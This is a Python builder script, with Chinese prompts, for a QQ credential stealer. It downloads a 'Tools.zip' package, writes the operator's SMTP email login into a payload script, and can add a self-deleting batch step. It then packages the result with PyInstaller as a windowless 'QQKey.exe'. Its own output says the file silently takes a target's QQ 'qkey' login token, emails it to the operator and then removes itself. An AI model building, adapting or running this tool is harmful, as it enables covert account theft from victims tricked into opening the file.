from webbrowser import open as web_open
import hashlib
import os
import zipfile
from time import sleep
import sys
import base64
if os.path.basename(sys.executable) != 'python.exe':
    os.chdir(os.path.dirname(sys.executable))
def encrypt(fpath: str, algorithm: str) -> str:
    with open(fpath, 'rb') as f:
        return hashlib.new(algorithm, f.read()).hexdigest()
if not os.path.isfile("Tools.zip"):
    print("请打开浏览器下载搭建文件并将文件复制到程序目录下")
    print("按下回车打开下载页面...")
    input()
    web_open("https://wwo.lanzoum.com/ixA9K1wvft2b")
    print("等待下载完成(将文件复制到本目录后自动继续)...")
    while not os.path.isfile('Tools.zip'):
        pass
sleep(1)
print("正在验证文件完整性...")
# print(encrypt('Tools.zip', 'md5'))
if encrypt('Tools.zip', 'md5') == '1dc8bc2b6fef8a0933f15c419f9ef99e':
    pass
elif encrypt('Tools.zip', 'md5') == '65e83fcb0f3a0f6729d24a24794eefb5':
    print("失败,检测到您正在使用旧版搭建包,请删除现有搭建包重新打开工具下载新版搭建包!")
    input()
    sys.exit(0)
else:
    print("失败,请删除文件打开工具下载搭建文件!")
    input()
    sys.exit(0)
print("正在释放文件...")
with open("tlds-alpha-by-domain.txt",'wb') as f:
    f.write(base64.b64decode("IyBWZXJzaW9uIDIwMjQwNDE3MDAsIExhc3QgVXBkYXRlZCBXZWQgQXByIDE3IDA3OjA3OjAxIDIwMjQgVVRDCkFBQQpBQVJQCkFCQgpBQkJPVFQKQUJCVklFCkFCQwpBQkxFCkFCT0dBRE8KQUJVREhBQkkKQUMKQUNBREVNWQpBQ0NFTlRVUkUKQUNDT1VOVEFOVApBQ0NPVU5UQU5UUwpBQ08KQUNUT1IKQUQKQURTCkFEVUxUCkFFCkFFRwpBRVJPCkFFVE5BCkFGCkFGTApBRlJJQ0EKQUcKQUdBS0hBTgpBR0VOQ1kKQUkKQUlHCkFJUkJVUwpBSVJGT1JDRQpBSVJURUwKQUtETgpBTApBTElCQUJBCkFMSVBBWQpBTExGSU5BTloKQUxMU1RBVEUKQUxMWQpBTFNBQ0UKQUxTV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VFYQU0KWE4tLVJIUVY5NkcKWE4tLVJPVlU4OEIKWE4tLVJWQzFFMEFNM0UKWE4tLVM5QlJKOUMKWE4tLVNFUzU1NEcKWE4tLVQ2MEI1NkEKWE4tLVRDS1dFClhOLS1USVE0OVhRWUoKWE4tLVVOVVA0WQpYTi0tVkVSTUdFTlNCRVJBVEVSLUNUQgpYTi0tVkVSTUdFTlNCRVJBVFVORy1QV0IKWE4tLVZIUVVWClhOLS1WVVE4NjFCClhOLS1XNFI4NUVMOEZIVTVETlJBClhOLS1XNFJTNDBMClhOLS1XR0JIMUMKWE4tLVdHQkw2QQpYTi0tWEhRNTIxQgpYTi0tWEtDMkFMM0hZRTJBClhOLS1YS0MyREwzQTVFRTBIClhOLS1ZOUEzQVEKWE4tLVlGUk80STY3TwpYTi0tWUdCSTJBTU1YClhOLS1aRlIxNjRCClhYWApYWVoKWUFDSFRTCllBSE9PCllBTUFYVU4KWUFOREVYCllFCllPRE9CQVNISQpZT0dBCllPS09IQU1BCllPVQpZT1VUVUJFCllUCllVTgpaQQpaQVBQT1MKWkFSQQpaRVJPClpJUApaTQpaT05FClpVRVJJQ0gKWlcK".encode('utf-8')))
print("环境已准备完毕,请输入信息!")
smtp_server = f'"{input("请输入邮箱smtp地址:")}"'
smtp_port = input("请输入smtp服务器端口(看不懂请输入25):")
smtp_account = f'"{input("请输入邮箱:")}"'
smtp_password = f'"{input("请输入密码(部分邮箱需要使用特定授权码):")}"'
zip_path = '.\\Tools.zip'
# 文件存储路径
if not os.path.isdir('data'):
    os.mkdir('data')
save_path = '.\\data\\'

# 读取压缩文件
file = zipfile.ZipFile(zip_path)
# 解压文件
print('开始解压文件...')
file.extractall(save_path)
# 关闭文件流
file.close()
with open(".\\data\\qkey_code.py",'r',encoding='utf-8') as f:
    content = f.read()
content = content.replace("smtp_account",smtp_account)
content = content.replace("smtp_password",smtp_password)
content = content.replace("smtp_server",smtp_server)
content = content.replace("smtp_port",smtp_port)
if input("是否需要运行后自动自毁?[y/n]:") == 'y':
    content += r"""
import sys,os
path = sys.argv[0]
print(path)
with open("1.bat", 'w', encoding='gbk') as f:
    f.write(f"@echo off\nping -n 1 127.0.0.1>nul\ndel {path}\ndel %0")
os.startfile("1.bat")
sys.exit(0)
    """
with open(".\\qkey_code.py",'w',encoding='utf-8') as f:
    f.write(content)
print("开始下载打包所需文件(出现大量信息属于正常)...")
os.system(".\\data\\python.exe -m pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple")
os.system(".\\data\\python.exe -m pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple")
os.system(".\\data\\python.exe -m pip install urlextract -i https://pypi.tuna.tsinghua.edu.cn/simple")
os.system(".\\data\\python.exe -m pip install psutil -i https://pypi.tuna.tsinghua.edu.cn/simple")
print("开始打包...")
os.system(".\\data\\Scripts\\pyinstaller.exe -F -w --add-data .\\tlds-alpha-by-domain.txt;.\\urlextract\data qkey_code.py")
os.rename(".\\dist\\qkey_code.exe",".\\dist\\QQKey.exe")
with open(".\\dist\\QQKey.exe",'rb') as f:
    a = f.read()
os.remove(".\\dist\\QQKey.exe")
with open(".\\QQKey.exe",'wb') as f:
    f.write(a)
print("打包完毕!")
print("文件名为:QQKey.exe")
print("目标如果打开此文件将会获取qkey并发送至你的邮箱")
print("注意:运行完后程序自动删除!")
print("注意:当对方打开时程序将静默获取,并不会出现弹出窗口")
while True:
    pass